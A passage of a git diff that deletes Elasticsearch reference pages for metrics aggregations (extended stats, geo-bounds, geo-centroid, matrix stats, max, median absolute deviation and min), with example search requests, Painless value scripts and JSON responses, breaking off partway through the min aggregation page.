diff --git a/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc b/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc
deleted file mode 100644
index c6283c3867f..00000000000
--- a/docs/reference/aggregations/metrics/extendedstats-aggregation.asciidoc
+++ /dev/null
@@ -1,197 +0,0 @@
-[[search-aggregations-metrics-extendedstats-aggregation]]
-=== Extended stats aggregation
-++++
-<titleabbrev>Extended stats</titleabbrev>
-++++
-
-A `multi-value` metrics aggregation that computes stats over numeric values extracted from the aggregated documents. These values can be extracted either from specific numeric fields in the documents, or be generated by a provided script.
-
-The `extended_stats` aggregations is an extended version of the <<search-aggregations-metrics-stats-aggregation,`stats`>> aggregation, where additional metrics are added such as `sum_of_squares`, `variance`, `std_deviation` and `std_deviation_bounds`.
-
-Assuming the data consists of documents representing exams grades (between 0 and 100) of students
-
-[source,console]
---------------------------------------------------
-GET /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "grades_stats": { "extended_stats": { "field": "grade" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-The above aggregation computes the grades statistics over all documents. The aggregation type is `extended_stats` and the `field` setting defines the numeric field of the documents the stats will be computed on. The above will return the following:
-
-The `std_deviation` and `variance` are calculated as population metrics so they are always the same as `std_deviation_population` and `variance_population` respectively.
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "grades_stats": {
-      "count": 2,
-      "min": 50.0,
-      "max": 100.0,
-      "avg": 75.0,
-      "sum": 150.0,
-      "sum_of_squares": 12500.0,
-      "variance": 625.0,
-      "variance_population": 625.0,
-      "variance_sampling": 1250.0,
-      "std_deviation": 25.0,
-      "std_deviation_population": 25.0,
-      "std_deviation_sampling": 35.35533905932738,
-      "std_deviation_bounds": {
-        "upper": 125.0,
-        "lower": 25.0,
-        "upper_population": 125.0,
-        "lower_population": 25.0,
-        "upper_sampling": 145.71067811865476,
-        "lower_sampling": 4.289321881345245
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The name of the aggregation (`grades_stats` above) also serves as the key by which the aggregation result can be retrieved from the returned response.
-
-==== Standard Deviation Bounds
-By default, the `extended_stats` metric will return an object called `std_deviation_bounds`, which provides an interval of plus/minus two standard
-deviations from the mean.  This can be a useful way to visualize variance of your data.  If you want a different boundary, for example
-three standard deviations, you can set `sigma` in the request:
-
-[source,console]
---------------------------------------------------
-GET /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "grades_stats": {
-      "extended_stats": {
-        "field": "grade",
-        "sigma": 3          <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-<1> `sigma` controls how many standard deviations +/- from the mean should be displayed
-
-`sigma` can be any non-negative double, meaning you can request non-integer values such as `1.5`.  A value of `0` is valid, but will simply
-return the average for both `upper` and `lower` bounds.
-
-The `upper` and `lower` bounds are calculated as population metrics so they are always the same as `upper_population` and
-`lower_population` respectively.
-
-.Standard Deviation and Bounds require normality
-[NOTE]
-=====
-The standard deviation and its bounds are displayed by default, but they are not always applicable to all data-sets.  Your data must
-be normally distributed for the metrics to make sense.  The statistics behind standard deviations assumes normally distributed data, so
-if your data is skewed heavily left or right, the value returned will be misleading.
-=====
-
-==== Script
-
-Computing the grades stats based on a script:
-
-[source,console]
---------------------------------------------------
-GET /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "grades_stats": {
-      "extended_stats": {
-        "script": {
-          "source": "doc['grade'].value",
-          "lang": "painless"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-GET /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "grades_stats": {
-      "extended_stats": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "grade"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams,stored_example_script]
-
-===== Value Script
-
-It turned out that the exam was way above the level of the students and a grade correction needs to be applied. We can use value script to get the new stats:
-
-[source,console]
---------------------------------------------------
-GET /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "grades_stats": {
-      "extended_stats": {
-        "field": "grade",
-        "script": {
-          "lang": "painless",
-          "source": "_value * params.correction",
-          "params": {
-            "correction": 1.2
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-GET /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "grades_stats": {
-      "extended_stats": {
-        "field": "grade",
-        "missing": 0        <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-<1> Documents without a value in the `grade` field will fall into the same bucket as documents that have the value `0`.
diff --git a/docs/reference/aggregations/metrics/geobounds-aggregation.asciidoc b/docs/reference/aggregations/metrics/geobounds-aggregation.asciidoc
deleted file mode 100644
index 51d551b67db..00000000000
--- a/docs/reference/aggregations/metrics/geobounds-aggregation.asciidoc
+++ /dev/null
@@ -1,155 +0,0 @@
-[[search-aggregations-metrics-geobounds-aggregation]]
-=== Geo-bounds aggregation
-++++
-<titleabbrev>Geo-bounds</titleabbrev>
-++++
-
-A metric aggregation that computes the bounding box containing all geo values for a field.
-
-Example:
-
-[source,console]
---------------------------------------------------
-PUT /museums
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-POST /museums/_bulk?refresh
-{"index":{"_id":1}}
-{"location": "52.374081,4.912350", "name": "NEMO Science Museum"}
-{"index":{"_id":2}}
-{"location": "52.369219,4.901618", "name": "Museum Het Rembrandthuis"}
-{"index":{"_id":3}}
-{"location": "52.371667,4.914722", "name": "Nederlands Scheepvaartmuseum"}
-{"index":{"_id":4}}
-{"location": "51.222900,4.405200", "name": "Letterenhuis"}
-{"index":{"_id":5}}
-{"location": "48.861111,2.336389", "name": "Musée du Louvre"}
-{"index":{"_id":6}}
-{"location": "48.860000,2.327000", "name": "Musée d'Orsay"}
-
-POST /museums/_search?size=0
-{
-  "query": {
-    "match": { "name": "musée" }
-  },
-  "aggs": {
-    "viewport": {
-      "geo_bounds": {
-        "field": "location",    <1>
-        "wrap_longitude": true  <2>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `geo_bounds` aggregation specifies the field to use to obtain the bounds.
-<2> [[geo-bounds-wrap-longitude]] `wrap_longitude` is an optional parameter which specifies whether the bounding box should be allowed to overlap the international date line. The default value is `true`.
-
-The above aggregation demonstrates how one would compute the bounding box of the location field for all documents with a business type of shop
-
-The response for the above aggregation:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "viewport": {
-      "bounds": {
-        "top_left": {
-          "lat": 48.86111099738628,
-          "lon": 2.3269999679178
-        },
-        "bottom_right": {
-          "lat": 48.85999997612089,
-          "lon": 2.3363889567553997
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-[discrete]
-[role="xpack"]
-[[geobounds-aggregation-geo-shape]]
-==== Geo Bounds Aggregation on `geo_shape` fields
-
-The Geo Bounds Aggregation is also supported on `geo_shape` fields.
-
-If <<geo-bounds-wrap-longitude,`wrap_longitude`>> is set to `true`
-(the default), the bounding box can overlap the international date line and
-return a bounds where the `top_left` longitude is larger than the `top_right`
-longitude.
-
-For example, the upper right longitude will typically be greater than the lower
-left longitude of a geographic bounding box. However, when the area
-crosses the 180° meridian, the value of the lower left longitude will be
-greater than the value of the upper right longitude. See
-http://docs.opengeospatial.org/is/12-063r5/12-063r5.html#30[Geographic bounding box] on the Open Geospatial Consortium website for more information.
-
-Example:
-
-[source,console]
---------------------------------------------------
-PUT /places
-{
-  "mappings": {
-    "properties": {
-      "geometry": {
-        "type": "geo_shape"
-      }
-    }
-  }
-}
-
-POST /places/_bulk?refresh
-{"index":{"_id":1}}
-{"name": "NEMO Science Museum", "geometry": "POINT(4.912350 52.374081)" }
-{"index":{"_id":2}}
-{"name": "Sportpark De Weeren", "geometry": { "type": "Polygon", "coordinates": [ [ [ 4.965305328369141, 52.39347642069457 ], [ 4.966979026794433, 52.391721758934835 ], [ 4.969425201416015, 52.39238958618537 ], [ 4.967944622039794, 52.39420969150824 ], [ 4.965305328369141, 52.39347642069457 ] ] ] } }
-
-POST /places/_search?size=0
-{
-  "aggs": {
-    "viewport": {
-      "geo_bounds": {
-        "field": "geometry"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "viewport": {
-      "bounds": {
-        "top_left": {
-          "lat": 52.39420966710895,
-          "lon": 4.912349972873926
-        },
-        "bottom_right": {
-          "lat": 52.374080987647176,
-          "lon": 4.969425117596984
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
diff --git a/docs/reference/aggregations/metrics/geocentroid-aggregation.asciidoc b/docs/reference/aggregations/metrics/geocentroid-aggregation.asciidoc
deleted file mode 100644
index 2658ab6683d..00000000000
--- a/docs/reference/aggregations/metrics/geocentroid-aggregation.asciidoc
+++ /dev/null
@@ -1,244 +0,0 @@
-[[search-aggregations-metrics-geocentroid-aggregation]]
-=== Geo-centroid aggregation
-++++
-<titleabbrev>Geo-centroid</titleabbrev>
-++++
-
-A metric aggregation that computes the weighted {wikipedia}/Centroid[centroid] from all coordinate values for geo fields.
-
-Example:
-
-[source,console]
---------------------------------------------------
-PUT /museums
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-POST /museums/_bulk?refresh
-{"index":{"_id":1}}
-{"location": "52.374081,4.912350", "city": "Amsterdam", "name": "NEMO Science Museum"}
-{"index":{"_id":2}}
-{"location": "52.369219,4.901618", "city": "Amsterdam", "name": "Museum Het Rembrandthuis"}
-{"index":{"_id":3}}
-{"location": "52.371667,4.914722", "city": "Amsterdam", "name": "Nederlands Scheepvaartmuseum"}
-{"index":{"_id":4}}
-{"location": "51.222900,4.405200", "city": "Antwerp", "name": "Letterenhuis"}
-{"index":{"_id":5}}
-{"location": "48.861111,2.336389", "city": "Paris", "name": "Musée du Louvre"}
-{"index":{"_id":6}}
-{"location": "48.860000,2.327000", "city": "Paris", "name": "Musée d'Orsay"}
-
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "centroid": {
-      "geo_centroid": {
-        "field": "location" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `geo_centroid` aggregation specifies the field to use for computing the centroid. (NOTE: field must be a <<geo-point>> type)
-
-The above aggregation demonstrates how one would compute the centroid of the location field for all documents with a crime type of burglary.
-
-The response for the above aggregation:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "centroid": {
-      "location": {
-        "lat": 51.00982965203002,
-        "lon": 3.9662131341174245
-      },
-      "count": 6
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-The `geo_centroid` aggregation is more interesting when combined as a sub-aggregation to other bucket aggregations.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "cities": {
-      "terms": { "field": "city.keyword" },
-      "aggs": {
-        "centroid": {
-          "geo_centroid": { "field": "location" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The above example uses `geo_centroid` as a sub-aggregation to a
-<<search-aggregations-bucket-terms-aggregation, terms>> bucket aggregation
-for finding the central location for museums in each city.
-
-The response for the above aggregation:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "cities": {
-      "sum_other_doc_count": 0,
-      "doc_count_error_upper_bound": 0,
-      "buckets": [
-        {
-          "key": "Amsterdam",
-          "doc_count": 3,
-          "centroid": {
-            "location": {
-              "lat": 52.371655656024814,
-              "lon": 4.909563297405839
-            },
-            "count": 3
-          }
-        },
-        {
-          "key": "Paris",
-          "doc_count": 2,
-          "centroid": {
-            "location": {
-              "lat": 48.86055548675358,
-              "lon": 2.3316944623366
-            },
-            "count": 2
-          }
-        },
-        {
-          "key": "Antwerp",
-          "doc_count": 1,
-          "centroid": {
-            "location": {
-              "lat": 51.22289997059852,
-              "lon": 4.40519998781383
-            },
-            "count": 1
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-
-[discrete]
-[role="xpack"]
-[[geocentroid-aggregation-geo-shape]]
-==== Geo Centroid Aggregation on `geo_shape` fields
-
-The centroid metric for geo-shapes is more nuanced than for points. The centroid of a specific aggregation bucket
-containing shapes is the centroid of the highest-dimensionality shape type in the bucket. For example, if a bucket contains
-shapes comprising of polygons and lines, then the lines do not contribute to the centroid metric. Each type of shape's
-centroid is calculated differently. Envelopes and circles ingested via the <<ingest-circle-processor>> are treated
-as polygons.
-
-|===
-|Geometry Type | Centroid Calculation
-
-|[Multi]Point
-|equally weighted average of all the coordinates
-
-|[Multi]LineString
-|a weighted average of all the centroids of each segment, where the weight of each segment is its length in degrees
-
-|[Multi]Polygon
-|a weighted average of all the centroids of all the triangles of a polygon where the triangles are formed by every two consecutive vertices and the starting-point.
- holes have negative weights. weights represent the area of the triangle in deg^2 calculated
-
-|GeometryCollection
-|The centroid of all the underlying geometries with the highest dimension. If Polygons and Lines and/or Points, then lines and/or points are ignored.
- If Lines and Points, then points are ignored
-|===
-
-Example:
-
-[source,console]
---------------------------------------------------
-PUT /places
-{
-  "mappings": {
-    "properties": {
-      "geometry": {
-        "type": "geo_shape"
-      }
-    }
-  }
-}
-
-POST /places/_bulk?refresh
-{"index":{"_id":1}}
-{"name": "NEMO Science Museum", "geometry": "POINT(4.912350 52.374081)" }
-{"index":{"_id":2}}
-{"name": "Sportpark De Weeren", "geometry": { "type": "Polygon", "coordinates": [ [ [ 4.965305328369141, 52.39347642069457 ], [ 4.966979026794433, 52.391721758934835 ], [ 4.969425201416015, 52.39238958618537 ], [ 4.967944622039794, 52.39420969150824 ], [ 4.965305328369141, 52.39347642069457 ] ] ] } }
-
-POST /places/_search?size=0
-{
-  "aggs": {
-    "centroid": {
-      "geo_centroid": {
-        "field": "geometry"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "centroid": {
-      "location": {
-        "lat": 52.39296147599816,
-        "lon": 4.967404240742326
-      },
-      "count": 2
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-
-[WARNING]
-.Using `geo_centroid` as a sub-aggregation of `geohash_grid`
-====
-The <<search-aggregations-bucket-geohashgrid-aggregation,`geohash_grid`>>
-aggregation places documents, not individual geo-points, into buckets. If a
-document's `geo_point` field contains <<array,multiple values>>, the document
-could be assigned to multiple buckets, even if one or more of its geo-points are
-outside the bucket boundaries.
-
-If a `geocentroid` sub-aggregation is also used, each centroid is calculated
-using all geo-points in a bucket, including those outside the bucket boundaries.
-This can result in centroids outside of bucket boundaries.
-====
diff --git a/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc b/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc
deleted file mode 100644
index edf84ec6425..00000000000
--- a/docs/reference/aggregations/metrics/matrix-stats-aggregation.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[[search-aggregations-matrix-stats-aggregation]]
-=== Matrix stats aggregation
-++++
-<titleabbrev>Matrix stats</titleabbrev>
-++++
-
-The `matrix_stats` aggregation is a numeric aggregation that computes the following statistics over a set of document fields:
-
-[horizontal]
-`count`:: Number of per field samples included in the calculation.
-`mean`:: The average value for each field.
-`variance`:: Per field Measurement for how spread out the samples are from the mean.
-`skewness`:: Per field measurement quantifying the asymmetric distribution around the mean.
-`kurtosis`:: Per field measurement quantifying the shape of the distribution.
-`covariance`:: A matrix that quantitatively describes how changes in one field are associated with another.
-`correlation`:: The covariance matrix scaled to a range of -1 to 1, inclusive. Describes the relationship between field
-            distributions.
-
-IMPORTANT: Unlike other metric aggregations, the `matrix_stats` aggregation does
-not support scripting.
-
-//////////////////////////
-
-[source,js]
---------------------------------------------------
-PUT /statistics/_doc/0
-{"poverty": 24.0, "income": 50000.0}
-
-PUT /statistics/_doc/1
-{"poverty": 13.0, "income": 95687.0}
-
-PUT /statistics/_doc/2
-{"poverty": 69.0, "income": 7890.0}
-
-POST /_refresh
---------------------------------------------------
-// NOTCONSOLE
-// TESTSETUP
-
-//////////////////////////
-
-The following example demonstrates the use of matrix stats to describe the relationship between income and poverty.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "statistics": {
-      "matrix_stats": {
-        "fields": [ "poverty", "income" ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-The aggregation type is `matrix_stats` and the `fields` setting defines the set of fields (as an array) for computing
-the statistics. The above request returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "statistics": {
-      "doc_count": 50,
-      "fields": [ {
-          "name": "income",
-          "count": 50,
-          "mean": 51985.1,
-          "variance": 7.383377037755103E7,
-          "skewness": 0.5595114003506483,
-          "kurtosis": 2.5692365287787124,
-          "covariance": {
-            "income": 7.383377037755103E7,
-            "poverty": -21093.65836734694
-          },
-          "correlation": {
-            "income": 1.0,
-            "poverty": -0.8352655256272504
-          }
-        }, {
-          "name": "poverty",
-          "count": 50,
-          "mean": 12.732000000000001,
-          "variance": 8.637730612244896,
-          "skewness": 0.4516049811903419,
-          "kurtosis": 2.8615929677997767,
-          "covariance": {
-            "income": -21093.65836734694,
-            "poverty": 8.637730612244896
-          },
-          "correlation": {
-            "income": -0.8352655256272504,
-            "poverty": 1.0
-          }
-        } ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-// TESTRESPONSE[s/: (\-)?[0-9\.E]+/: $body.$_path/]
-
-The `doc_count` field indicates the number of documents involved in the computation of the statistics.
-
-==== Multi Value Fields
-
-The `matrix_stats` aggregation treats each document field as an independent sample. The `mode` parameter controls what
-array value the aggregation will use for array or multi-valued fields. This parameter can take one of the following:
-
-[horizontal]
-`avg`:: (default) Use the average of all values.
-`min`:: Pick the lowest value.
-`max`:: Pick the highest value.
-`sum`:: Use the sum of all values.
-`median`:: Use the median of all values.
-
-==== Missing Values
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they had a value.
-This is done by adding a set of fieldname : value mappings to specify default values per field.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "matrixstats": {
-      "matrix_stats": {
-        "fields": [ "poverty", "income" ],
-        "missing": { "income": 50000 }      <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Documents without a value in the `income` field will have the default value `50000`.
-
-==== Script
-
-This aggregation family does not yet support scripting.
diff --git a/docs/reference/aggregations/metrics/max-aggregation.asciidoc b/docs/reference/aggregations/metrics/max-aggregation.asciidoc
deleted file mode 100644
index cb6a3f64ab7..00000000000
--- a/docs/reference/aggregations/metrics/max-aggregation.asciidoc
+++ /dev/null
@@ -1,195 +0,0 @@
-[[search-aggregations-metrics-max-aggregation]]
-=== Max aggregation
-++++
-<titleabbrev>Max</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that keeps track and returns the maximum
-value among the numeric values extracted from the aggregated documents. These
-values can be extracted either from specific numeric fields in the documents,
-or be generated by a provided script.
-
-NOTE: The `min` and `max` aggregation operate on the `double` representation of
-the data. As a consequence, the result may be approximate when running on longs
-whose absolute value is greater than +2^53+.
-
-Computing the max price value across all documents
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "max_price": { "max": { "field": "price" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-      "max_price": {
-          "value": 200.0
-      }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-As can be seen, the name of the aggregation (`max_price` above) also serves as
-the key by which the aggregation result can be retrieved from the returned
-response.
-
-==== Script
-
-The `max` aggregation can also calculate the maximum of a script. The example
-below computes the maximum price:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs" : {
-      "max_price" : {
-          "max" : {
-              "script" : {
-                  "source" : "doc.price.value"
-              }
-          }
-      }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-This will use the <<modules-scripting-painless, Painless>> scripting language
-and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs" : {
-      "max_price" : {
-          "max" : {
-              "script" : {
-                  "id": "my_script",
-                  "params": {
-                      "field": "price"
-                  }
-              }
-          }
-      }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales,stored_example_script]
-
-==== Value Script
-
-Let's say that the prices of the documents in our index are in USD, but we
-would like to compute the max in EURO (and for the sake of this example, let's
-say the conversion rate is 1.2). We can use a value script to apply the
-conversion rate to every value before it is aggregated:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs" : {
-      "max_price_in_euros" : {
-          "max" : {
-              "field" : "price",
-              "script" : {
-                  "source" : "_value * params.conversion_rate",
-                  "params" : {
-                      "conversion_rate" : 1.2
-                  }
-              }
-          }
-      }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should
-be treated. By default they will be ignored but it is also possible to treat
-them as if they had a value.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "aggs" : {
-      "grade_max" : {
-          "max" : {
-              "field" : "grade",
-              "missing": 10       <1>
-          }
-      }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Documents without a value in the `grade` field will fall into the same
-bucket as documents that have the value `10`.
-
-[[search-aggregations-metrics-max-aggregation-histogram-fields]]
-==== Histogram fields
-
-When `max` is computed on <<histogram,histogram fields>>, the result of the aggregation is the maximum
-of all elements in the `values` array. Note, that the `counts` array of the histogram is ignored.
-
-For example, for the following index that stores pre-aggregated histograms with latency metrics for different networks:
-
-[source,console]
---------------------------------------------------
-PUT metrics_index/_doc/1
-{
-  "network.name" : "net-1",
-  "latency_histo" : {
-      "values" : [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [3, 7, 23, 12, 6] <2>
-   }
-}
-
-PUT metrics_index/_doc/2
-{
-  "network.name" : "net-2",
-  "latency_histo" : {
-      "values" :  [0.1, 0.2, 0.3, 0.4, 0.5], <1>
-      "counts" : [8, 17, 8, 7, 6] <2>
-   }
-}
-
-POST /metrics_index/_search?size=0
-{
-  "aggs" : {
-    "min_latency" : { "min" : { "field" : "latency_histo" } }
-  }
-}
---------------------------------------------------
-
-The `max` aggregation will return the maximum value of all histogram fields:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "min_latency": {
-      "value": 0.5
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:test not setup]
diff --git a/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc b/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc
deleted file mode 100644
index 21811542073..00000000000
--- a/docs/reference/aggregations/metrics/median-absolute-deviation-aggregation.asciidoc
+++ /dev/null
@@ -1,187 +0,0 @@
-[[search-aggregations-metrics-median-absolute-deviation-aggregation]]
-=== Median absolute deviation aggregation
-++++
-<titleabbrev>Median absolute deviation</titleabbrev>
-++++
-
-This `single-value` aggregation approximates the {wikipedia}/Median_absolute_deviation[median absolute deviation]
-of its search results.
-
-Median absolute deviation is a measure of variability. It is a robust
-statistic, meaning that it is useful for describing data that may have
-outliers, or may not be normally distributed. For such data it can be more
-descriptive than standard deviation.
-
-It is calculated as the median of each data point's deviation from the median
-of the entire sample. That is, for a random variable X, the median absolute
-deviation is median(|median(X) - X~i~|).
-
-==== Example
-
-Assume our data represents product reviews on a one to five star scale.
-Such reviews are usually summarized as a mean, which is easily understandable
-but doesn't describe the reviews' variability. Estimating the median absolute
-deviation can provide insight into how much reviews vary from one another.
-
-In this example we have a product which has an average rating of
-3 stars. Let's look at its ratings' median absolute deviation to determine
-how much they vary
-
-[source,console]
----------------------------------------------------------
-GET reviews/_search
-{
-  "size": 0,
-  "aggs": {
-    "review_average": {
-      "avg": {
-        "field": "rating"
-      }
-    },
-    "review_variability": {
-      "median_absolute_deviation": {
-        "field": "rating" <1>
-      }
-    }
-  }
-}
----------------------------------------------------------
-// TEST[setup:reviews]
-<1> `rating` must be a numeric field
-
-The resulting median absolute deviation of `2` tells us that there is a fair
-amount of variability in the ratings. Reviewers must have diverse opinions about
-this product.
-
-[source,console-result]
----------------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "review_average": {
-      "value": 3.0
-    },
-    "review_variability": {
-      "value": 2.0
-    }
-  }
-}
----------------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Approximation
-
-The naive implementation of calculating median absolute deviation stores the
-entire sample in memory, so this aggregation instead calculates an
-approximation. It uses the https://github.com/tdunning/t-digest[TDigest data structure]
-to approximate the sample median and the median of deviations from the sample
-median. For more about the approximation characteristics of TDigests, see
-<<search-aggregations-metrics-percentile-aggregation-approximation>>.
-
-The tradeoff between resource usage and accuracy of a TDigest's quantile
-approximation, and therefore the accuracy of this aggregation's approximation
-of median absolute deviation, is controlled by the `compression` parameter. A
-higher `compression` setting provides a more accurate approximation at the
-cost of higher memory usage. For more about the characteristics of the TDigest
-`compression` parameter see
-<<search-aggregations-metrics-percentile-aggregation-compression>>.
-
-[source,console]
----------------------------------------------------------
-GET reviews/_search
-{
-  "size": 0,
-  "aggs": {
-    "review_variability": {
-      "median_absolute_deviation": {
-        "field": "rating",
-        "compression": 100
-      }
-    }
-  }
-}
----------------------------------------------------------
-// TEST[setup:reviews]
-
-The default `compression` value for this aggregation is `1000`. At this
-compression level this aggregation is usually within 5% of the exact result,
-but observed performance will depend on the sample data.
-
-==== Script
-
-This metric aggregation supports scripting. In our example above, product
-reviews are on a scale of one to five. If we wanted to modify them to a scale
-of one to ten, we can using scripting.
-
-To provide an inline script:
-
-[source,console]
----------------------------------------------------------
-GET reviews/_search
-{
-  "size": 0,
-  "aggs": {
-    "review_variability": {
-      "median_absolute_deviation": {
-        "script": {
-          "lang": "painless",
-          "source": "doc['rating'].value * params.scaleFactor",
-          "params": {
-            "scaleFactor": 2
-          }
-        }
-      }
-    }
-  }
-}
----------------------------------------------------------
-// TEST[setup:reviews]
-
-To provide a stored script:
-
-[source,console]
----------------------------------------------------------
-GET reviews/_search
-{
-  "size": 0,
-  "aggs": {
-    "review_variability": {
-      "median_absolute_deviation": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "rating"
-          }
-        }
-      }
-    }
-  }
-}
----------------------------------------------------------
-// TEST[setup:reviews,stored_example_script]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be
-treated. By default they will be ignored but it is also possible to treat them
-as if they had a value.
-
-Let's be optimistic and assume some reviewers loved the product so much that
-they forgot to give it a rating. We'll assign them five stars
-
-[source,console]
----------------------------------------------------------
-GET reviews/_search
-{
-  "size": 0,
-  "aggs": {
-    "review_variability": {
-      "median_absolute_deviation": {
-        "field": "rating",
-        "missing": 5
-      }
-    }
-  }
-}
----------------------------------------------------------
-// TEST[setup:reviews]
diff --git a/docs/reference/aggregations/metrics/min-aggregation.asciidoc b/docs/reference/aggregations/metrics/min-aggregation.asciidoc
deleted file mode 100644
index d6614e4fd48..00000000000
--- a/docs/reference/aggregations/metrics/min-aggregation.asciidoc
+++ /dev/null
@@ -1,196 +0,0 @@
-[[search-aggregations-metrics-min-aggregation]]
-=== Min aggregation
-++++
-<titleabbrev>Min</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that keeps track and returns the minimum
-value among numeric values extracted from the aggregated documents. These
-values can be extracted either from specific numeric fields in the documents,
-or be generated by a provided script.
-
-NOTE: The `min` and `max` aggregation operate on the `double` representation of
-the data. As a consequence, the result may be approximate when running on longs
-whose absolute value is greater than +2^53+.
-
-Computing the min price value across all documents:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "min_price": { "min": { "field": "price" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-
-  "aggregations": {
-    "min_price": {
-      "value": 10.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-As can be seen, the name of the aggregation (`min_price` above) also serves as
-the key by which the aggregation result can be retrieved from the returned
-response.
-
-==== Script
-
